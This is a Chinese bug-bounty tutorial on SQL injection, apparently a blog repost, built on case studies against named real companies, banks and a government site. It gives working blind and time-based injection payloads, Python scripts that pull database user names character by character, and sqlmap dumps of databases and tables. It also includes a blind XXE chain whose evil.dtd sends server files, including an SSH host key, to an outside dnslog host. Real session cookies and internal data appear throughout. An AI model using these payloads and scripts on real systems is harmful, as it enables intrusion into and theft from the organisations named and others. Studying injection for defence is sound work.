WEB漏洞挖掘详细教程--用户输入合规性(sql注入测试)

前置教程:
WEB漏洞挖掘(SRC)详细教程--信息收集篇-CSDN博客

WEB漏洞挖掘(SRC)详细教程--身份认证与业务一致性-CSDN博客

WEB漏洞挖掘(SRC)详细教程--业务数据篡改-CSDN博客

2.4 用户输入合规性

2.4.1 注入测试

a. 手动注入

1.在参数中输入一个单引号”' ”,引起执行查询语句的语法错误,得到服务器的错误回显, 从而判断服务器的数据库类型信息。 根据数据库类型构造sql注入语句。

例如一个get方式的url[ http://www.Xxx.com/abc.asp?p=YY ]

修改p的参数值http://www.Xxx.com/abc.asp?p=YY and user>0

就可以判断是否是 SQL-SERVER,而还可以得到当前连接到数据库的用户名。 http://www.xxx.com/abc.asp?p=YY&n … db_name()>0

不仅可以判断是否是SQL-SERVER,而 还可以得到当前正在使用的数据库名 。

2.盲注,大部分时候web服务器关闭了错误回显。

http://www.xxx.com/abc.asp?p=1 and 1=2

sql命令不成立,结果为空或出错 ;

http://www.xxx.com/abc.asp?p=1 and 1=1

sql命令成立,结果正常返回 。

两个测试成功后,可以判断负载的sql被执行,存在sql注入漏洞。

手动注入网站示例。登录密码(‘or’1’=‘1)并成功进入管理后台。

a.aLimit后盲注

案例:同花顺一处limit后盲注(ROOT权限/跨11库)

检测发现以下地方存在SQL注入:(注入参数limit,limit后时间盲注)

[http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class](http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class) 
ify=1&flag=fancy&limit=3&order=1&page=1&sort=totalrate&type=0&version=1.1.23.1

Payload:(延时7秒)

[http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class](http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/list-data?class) 
ify=1&flag=fancy&limit=1/**/procedure/**/analyse(extractvalue(1,benchmark(25000
000,md5(111))),1)+--+-&order=1&page=1&sort=totalrate&type=0&version=1.1.23.1

1.当前数据库用户,ROOT

2.所有数据库,共11个

a.bSql盲注

案列:263通信某APP一处SQL盲注(附验证脚本)

263网络会议 3.0 软件下载_产品客户端下载_263云通信

下载APP,"快速入会"功能,接口:

POST [http://cc.263.net/rest/netmeeting/quickLoginNet](http://cc.263.net/rest/netmeeting/quickLoginNet) HTTP/1.1 
Content-Type: application/json;charset=UTF-8
Content-Length: 65 
Host: cc.263.net 
Connection: Keep-Alive
{"pCode":"46867588","username":"lisi","clientType":10}

注入点:pCode

bool盲注。

false:

true:

数据库用户:

BOSSAPP@192.168.99.67

python验证脚本:

headers = {'Content-Type': 'application/json;charset=UTF-8'} 
payloads = 'ABCDEFGHIJKLMNOPQRSTYVWXYZ0123456789@_.'
print '[%s] Start to retrive db User:' % time.strftime('%H:%M:%S', 
time.localtime())
user = '' isEnd=False
for i in range(1, 36): if isEnd:break isEnd=Truefor payload in payloads: url='/rest/netmeeting/quickLoginNet' start_time=time.time() data='{"pCode":"46867588\' or
MID(user(),'+str(i)+',1)=''+payload+'","username":"lisi","clientType":10}'conn = httplib.HTTPConnection('cc.263.net', timeout=60) conn.request(method='POST',url=url,body=data, headers=headers) html_doc = conn.getresponse().read()conn.close() print '.',if(html_doc.find('80007')>0): isEnd=Falseuser += payloadprint '\n[in progress]', user, breaktime.sleep(0.1)
print '\n[Done] db user is %s' % user 
time.sleep(20)
a.c伪静态db2布尔盲注

案列:某银行主站伪静态DB2布尔盲注

http://.../bugs/wooyun-2016-0211479/trace/8722c6d1776df3a473e61e3dc44c1 2f9

http://.../Site/Home/CN

没waf 直接上sqlmap 未脱库

available databases [10]:

[] *DB2INST1

[] * NULLID

[*] SQLJ

[] * SYSCAT

[] *SYSFUN

[*] SYSIBM

[] *SYSIBMADM

[] *SYSPROC

[*] SYSSTAT

[*] SYSTOOLS

current database: 'CMSDB'

database management system users [1]:

[*] DB2INST1

[313 tables]

+--------------------------------+

| ADVISE_WORKLOAD |

| AREA |

| AREA_EMAIL |

| COMPANY_LOANS |

| D2S_BLOCK_TEMPLATEMAP |

| D2S_CHANEL_CHANEL_RELATIONSHIP |

| D2S_CHANNEL_BLOCKMAP |

| D2S_CHANNEL_INFO_RELATIONSHIP |

| D2S_CHANNEL_TEMPLATEMAP |

| D2S_INFO_BLOCKMAP |

| D2S_INFO_CHANNEL_RELATIONSHIP |

| D2S_INFO_INFO_RELATIONSHIP |

| D2S_INFO_TEMPLATEMAP |

| D2S_TEMPLATE |

| EMAIL_SEND_LOG |

a.d伪静态sql布尔盲注

案列:某银行主站伪静态sql布尔盲注root

http://...//cmsDeskArticle/bankCardType/1 注入点

经测试 information_schema不能用,sqlmap神器也悲伤 肯花时间的话 可以猜的出表

漏洞证明:

工具跑不了

1' or length(database())=7 and 1=1 or '1'='

1' or ascii(mid((database()),1,1))=102 and 1=1 or '1'=' f

1' or ascii(mid((database()),2,1))=120 and 1=1 or '1'=' x

1' or ascii(mid((database()),3,1))=45 and 1=1 or '1'=' -

1' or ascii(mid((database()),4,1))=98 and 1=1 or '1'=' b

1' or ascii(mid((database()),5,1))=97 and 1=1 or '1'=' a

1' or ascii(mid((database()),6,1))=110 and 1=1 or '1'=' n

1' or ascii(mid((database()),7,1))=107 and 1=1 or '1'=' k

fx-bank

1' or ascii(mid(version(),1,1))=53 and 1=1 or '1'=' m

1' or ascii(mid(version(),2,1))=46 and 1=1 or '1'=' .

1' or ascii(mid(version(),3,1))=53 and 1=1 or '1'=' 5

1' or ascii(mid(version(),4,1))=46 and 1=1 or '1'=' .

1' or ascii(mid(version(),5,1))=50 and 1=1 or '1'=' 2

1' or ascii(mid(version(),6,1))=49 and 1=1 or '1'=' 1

1' or ascii(mid(version(),7,1))=45 and 1=1 or '1'=' -

1' or ascii(mid(version(),8,1))=108 and 1=1 or '1'=' 1

1' or ascii(mid(version(),9,1))=111 and 1=1 or '1'=' o

1' or ascii(mid(version(),10,1))=103 and 1=1 or '1'=' g

m.5.21-log

1' or ascii(mid(user(),1,1))=114 and 1=1 or '1'=' r

1' or ascii(mid(user(),2,1))=111 and 1=1 or '1'=' o

1' or ascii(mid(user(),3,1))=111 and 1=1 or '1'=' o

1' or ascii(mid(user(),4,1))=116 and 1=1 or '1'=' t

1' or ascii(mid(user(),5,1))=64 and 1=1 or '1'=' @

1' or ascii(mid(user(),6,1))=108 and 1=1 or '1'=' l

root@localhost

a.e时间盲注

案列:迅雷一处时间盲注

抓的post包

POST /location/upload_peerinfo HTTP/1.1 
Host: [interface.xl9.xunlei.com](http://interface.xl9.xunlei.com)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate 
DNT: 1
Cookie: sessionid=CC824A20602118045BF9B8150499AD86; userid=50947382; 
peerid=50E549E88890F5GQ; client=pc; v=7.10.33.358
Connection: keep-alive 
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded 
Content-Length: 74
{"cpu":"","devicename":"ZHONGWEN","devicetype":"pc","imei":"","memory":""}

devicename\devicetype 都是注入点


Parameter: JSON devicename ((custom) POST) Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (SELECT)Payload: {"cpu":"","devicename":"ZHONGWEN' AND (SELECT * FROM (SELECT(SLEEP(5)))DEhT) AND 'AgGq'='AgGq","devicetype":"pc","imei":"","memory":""}Parameter: JSON devicetype ((custom) POST) Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (SELECT)Payload: {"cpu":"","devicename":"ZHONGWEN","devicetype":"pc' AND (SELECT * FROM (SELECT(SLEEP(5)))KNUs) AND 'HTgX'='HTgX","imei":"","memory":""}

available databases [6]:

[*] xl9\x81\x81omplain

[*] information_schema

[*] x

[*] xl9_location

[*] xl9_tracer

[*] xl9_user_ip_loc

[15:55:53] [INFO] fetching tables for database: 'xl9_user_ip_loc'

[15:55:53] [INFO] fetching number of tables for database 'xl9_user_ip_loc' [15:55:53] [INFO] resumed: 257

xl9_user_ip_loc 这个库挺大的 都是用户记录的ip吧 。

a.fOracle盲注

案列:新疆人社厅Oracle盲注(附验证脚本)

注入地址:

http://.../wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151 590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx

参数id过滤不严格导致SQLi

http://.../wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151 590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=3 AND 'xxx'='xxx

返回正常

http://.../wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151 590e127808da' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=4 AND 'xxx'='xxx

返回不一样,判断用户名为3个字符 直接放进脚本跑。这里举例CURRENT_USER和OS_USER,其他类似

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: 
import requests
url = 
"http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e015
1590e127808da"
payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'
header = {
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) 
Gecko/20100101 Firefox/45.0",
"Cookie":"JSESSIONID=5V1JXjMpQLtR92RxJ62KrMQLfY4t6xpdQCBfcXLHtT2yz4jsT7Gr!1
478879510",
"Accept":""
}
def getData():
user=''
for i in range(1,4,1):
for exp in list(payloads):
try:
payload = "'AND 
substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1)='%s' AND 'xxx'='xxx" % 
(i,''.join(exp))
r = requests.get(url + 
payload,headers=header,allow_redirects=False,timeout=100)
res = r.text
#print exp
if res.find("20151130234113") >0 :
user+=exp
print '\n user is:',user,
except:
pass
print '\n[Done] Oracle user is %s' %user
def getDataBase():
user=''
for i in range(0,13,1):
for exp in list(payloads):
try:
payload = "'AND 
substr(SYS_CONTEXT('USERENV','OS_USER'),%s,1)='%s' AND 'xxx'='xxx" % 
(i,''.join(exp))
r = requests.get(url + 
payload,headers=header,allow_redirects=False,timeout=100)
res = r.text
#print exp
if res.find("20151130234113") >0 :
user+=exp
print '\n OS_USER is:',user,
except:
pass
print '\n[Done] Oracle OS_USER is %s' %user
if __name__ == '__main__':
#len = getLength()
getData()
getDataBase()

验证结果:

a.gXxe盲注

案列:利用网易一处XXE盲注演示如何通过cloudeye配合实现文件内容读取

野生xml外部实体注入

地址:http://106.2.32.66:8080/webdav/

IP归属地:

存在一处webdav目录,支持通过PROPFIND方式提交xml结构请求 构造xxe测试payload:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtz3zkd [<!ENTITY % dtd SYSTEM "http://66ae2b.dnslog.info/">
%dtd;]>
<propfind xmlns="DAV:"><allprop/></propfind>

cloudeye apache 日志:

response 返回数据:

<?xml version="1.0" encoding="utf-8" ?>
<multistatus xmlns="DAV:"><response><href>/webdav/</href>
<propstat><prop><creationdate>2015-07-13T12:13:57Z</creationdate>
<displayname><![CDATA[]]></displayname>
<resourcetype><collection/></resourcetype>
<source></source>
<supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/>
</locktype></lockentry><lockentry><lockscope><shared/></lockscope><locktype><wr
ite/></locktype></lockentry></supportedlock>
</prop>
<status>HTTP/1.1 200 OK</status>
</propstat>
</response>
</multistatus>

证明解析xml时尝试引用了外部资源,存在XXE漏洞

后续尝试构造xml请求获取回显失败,考虑继续通过cloudeye获取blind xxe回显结果。 创建一个获取回显结果的dtd文件:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 
'http://66ae2b.dnslog.info/?xml1=%payload;'>">
%all;

调用地址:http://...:8080/xml/evil.dtd 再次构造请求payload读取hostname:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % payload SYSTEM "file:///proc/sys/kernel/hostname"><!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

cloudeye apache日志:

获取的hostname为:classa-popoatispam1,貌似是网易popo的反垃圾邮件系统 由于读取带有换行符、#、<、>等特殊符号文件内容时,会破坏xml语法结构,导致payload 无法正常解析,所以还做不到任意文件读取,可以尝试寻找base64、urlencode编码方法来 解决,反正我是没有搞定/(ㄒoㄒ)/~~ 但是也可以读到好多有价值的内容,比如读取/etc/issue.net:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % payload SYSTEM "file:///etc/issue.net"><!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

结果为:Debian%20GNU/Linux%207

读取/etc/ssh/ssh_host_rsa_key.pub:

PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like 
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % payload SYSTEM "file:///etc/issue.net"><!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind>

结果为:

ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7KIc4/WlcwkcvqOeMfnCS 4sSmT+fsQ1FMY+h6Ab+xQrvrhp4ufIN/iR92SMeIYLCxg+DSIXKdxKob9luJKdF/zl4UY/qTmRaQaAP lAgZsPHnBMKT5BW08ZMX+NzH8jQQx6xHCkx4Bqom88NMfePN0ydYwGzehS/7oh0s9JYgo8knTJ6eke7 y/ohtzMLjCoBQHfAOTtyRPoFSyfc2ksU/rZOvAPteQvmhyc1geAmngcGV0eabzhSmNHcrxqeKZ5wK7z OmoGeoEZrfxADCHlDbf6P+XJ3HjgDZg1iBHNH4hjkdNGkVCaxpRg9CD+V/G3Ddn0Xl%20root@class a-popoatispam1

b. 自动化工具检测注入

SQLmap–检测与利用SQL注入漏洞的免费开源工具

sqlmap.py –u 【指定url 】 –cookie –dbs //列出数据库

sqlmap.py –u 【指定url 】 - D 【数据库名】- -tables //列出某个库的数据表 sqlmap.py –u 【指定url 】-D 【数据库名】-T 【数据表名】–columns //列出数据表的 列名

sqlmap.py –u 【指定url 】-D dvwa -T users-C user,password –dump //把用户名密码列 出来(sqlmap自动破解密码)

某网站拖库示例

案例:兴业银行某站存在SQL注入

http://shop.cib.com.cn//?m=product&s=detail&id=457 存在注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/792432.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MCRNet:用于乳腺超声成像语义分割的多级上下文细化网络

这里写目录标题 摘要引言方法 摘要 由于对比度差、目标边界模糊和大量阴影的不利影响&#xff0c;乳腺超声成像中的自动语义分割仍然是一项具有挑战性的任务。最近&#xff0c;具有U形的卷积神经网络&#xff08;CNN&#xff09;在医学图像分割中表现出相当好的性能。然而&…

【C++ STL迭代器】iterator

文章目录 【 1. 迭代器的属性 】【 2. 不同容器支持的迭代器 】【 3. 迭代器的定义方式 】【 4. 实例 】4.1 定义方式&#xff1a;正向迭代器和反向迭代器4.2 迭代器属性&#xff1a;前向迭代、双向迭代、随机迭代4.2 迭代器的遍历方法4.3 auto关键字 自动指定迭代器定义类型 背…

【Qt】:常用控件(四:显示类控件)

常用控件 一.Lable二.LCD Number 一.Lable QLabel 可以⽤来显⽰⽂本和图⽚. 代码⽰例:显⽰不同格式的⽂本 代码⽰例:显⽰图⽚ 此时,如果拖动窗⼝⼤⼩,可以看到图⽚并不会随着窗⼝⼤⼩的改变⽽同步变化 为了解决这个问题,可以在Widget中重写resizeEvent函数。当用户把窗口从A拖…

基于单片机双路压力监测报警系统

**单片机设计介绍&#xff0c;基于单片机双路压力监测报警系统 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机双路压力监测报警系统是一个专门设计用于实时监测和报警两路压力变化的系统。它结合了单片机控制技术和压…

图DP

目录 有向无环图DP 力扣 329. 矩阵中的最长递增路径 力扣 2192. 有向无环图中一个节点的所有祖先 有向有环图DP 力扣 1306. 跳跃游戏 III 有向无环图DP 力扣 329. 矩阵中的最长递增路径 给定一个 m x n 整数矩阵 matrix &#xff0c;找出其中 最长递增路径 的长度。 对…

【DA-CLIP】test.py解读,调用DA-CLIP和IRSDE模型复原计算复原图与GT图SSIM、PSNR、LPIPS

文件路径daclip-uir-main/universal-image-restoration/config/daclip-sde/test.py 代码有部分修改 导包 import argparse import logging import os.path import sys import time from collections import OrderedDict import torchvision.utils as tvutilsimport numpy as…

数学知识--(质数,约数)

本文用于个人算法竞赛学习&#xff0c;仅供参考 目录 一.质数的判定 二.分解质因数 三.质数筛 1.朴素筛法 2.埃氏筛法 3.线性筛法 四.约数 1.求一个数的所有约数 2.约数个数和约数之和 3.欧几里得算法&#xff08;辗转相除法&#xff09;-- 求最大公约数 一.质数的判定 …

新型智慧城市大数据解决方案(附下载)

随着云计算、大数据、移动互联网等技术的发展&#xff0c;由城市运行产生的交通、环境、市政、商业等各领域数据量巨大&#xff0c;这些数据经过合理的分析挖掘可产生大量传统数据不能反映的城市运行信息&#xff0c;已成为智慧城市的重要资产。 在大数据时代&#xff0c;数据信…

理解main方法的语法

由于JVM需要调用类的main()方法&#xff0c;所以该方法的访问权限必须是public&#xff0c;又因为JVM在执行main()方法时不必创建对象&#xff0c;所以该方法必须是static的&#xff0c;该方法接收一个String类型的数组参数&#xff0c;该数组中保存执行Java命令时传递给所运行…

问题解决:写CSDN博文时图片大小不适应,不清晰,没法排版

项目环境&#xff1a; Window10&#xff0c;Edge123.0.2420.65 问题描述&#xff1a; 当我在CSDN写博文的时候&#xff0c;会经常插入一些图片&#xff0c;但有时候我插入的图片太大了&#xff0c;影响了整体排版。 比如我加入了一张图片&#xff0c;就变成了下面这个样子&…

PEFT-LISA

LISA是LoRA的简化版&#xff0c;但其抓住了LoRA微调的核心&#xff0c;即LoRA侧重更新LLM的底层embedding和顶层head。 根据上述现象&#xff0c;LISA提出两点改进&#xff1a; 始终更新LLM的底层embedding和顶层head随机更新中间层的hidden state 实验结果 显存占用 毕竟模型…

openstack云计算(一)————openstack安装教程,创建空白虚拟机,虚拟机的环境准备

1、创建空白虚拟机 需要注意的步骤会截图一下&#xff0c;其它的基本都是下一步&#xff0c;默认的即可 ----------------------------------------------------------- 2、在所建的空白虚拟机上安装CentOS 7操作系统 &#xff08;1&#xff09;、在安装CentOS 7的启动界面中…

RuoYi-Vue若依框架-集成mybatis-plus报错Unknown column ‘search_value‘ in ‘field list‘

报错信息 ### Error querying database. Cause: java.sql.SQLSyntaxErrorException: Unknown column search_value in field list ### The error may exist in com/ruoyi/sales/mapper/ZcSpecificationsMapper.java (best guess) ### The error may involve defaultParameter…

【简单讲解下WebSocket】

&#x1f308;个人主页:程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…

Python卷积网络车牌识别系统(V2.0)

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

基于单片机的无线红外报警系统

**单片机设计介绍&#xff0c;基于单片机的无线红外报警系统 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的无线红外报警系统是一种结合了单片机控制技术和无线红外传感技术的安防系统。该系统通过无线红外传感器实…

SpringBoot -- 外部化配置

我们如果要对普通程序的jar包更改配置&#xff0c;那么我们需要对jar包解压&#xff0c;并在其中的配置文件中更改配置参数&#xff0c;然后再打包并重新运行。可以看到过程比较繁琐&#xff0c;SpringBoot也注意到了这个问题&#xff0c;其可以通过外部配置文件更新配置。 我…

第18章 JDK8-17新特性

1. Java版本迭代概述 1.1 发布特点&#xff08;小步快跑&#xff0c;快速迭代&#xff09; 发行版本发行时间备注Java 1.01996.01.23Sun公司发布了Java的第一个开发工具包Java 5.02004.09.30①版本号从1.4直接更新至5.0&#xff1b;②平台更名为JavaSE、JavaEE、JavaMEJava 8…

复杂度的讲解

1.算法效率 如何衡量一个算法的好坏&#xff1f;从两个维度&#xff0c;时间和空间&#xff08;算法运行的快慢&#xff0c;消耗的空间大不大&#xff09;。因为计算机硬件领域的高速发展&#xff0c;如今计算机的存储量已经达到了一个很高的程度&#xff0c;所以现在我们一般…

微信公众号如何开通留言功能?

首先&#xff0c;我们需要了解为什么现在注册的公众号没有留言功能。这是因为所有在2018年之后注册的微信公众号都无法再自带留言功能。这一变化是根据微信的通知而实施的。自2018年2月12日起&#xff0c;微信对新注册的公众号进行了调整&#xff0c;取消了留言功能。这一决策主…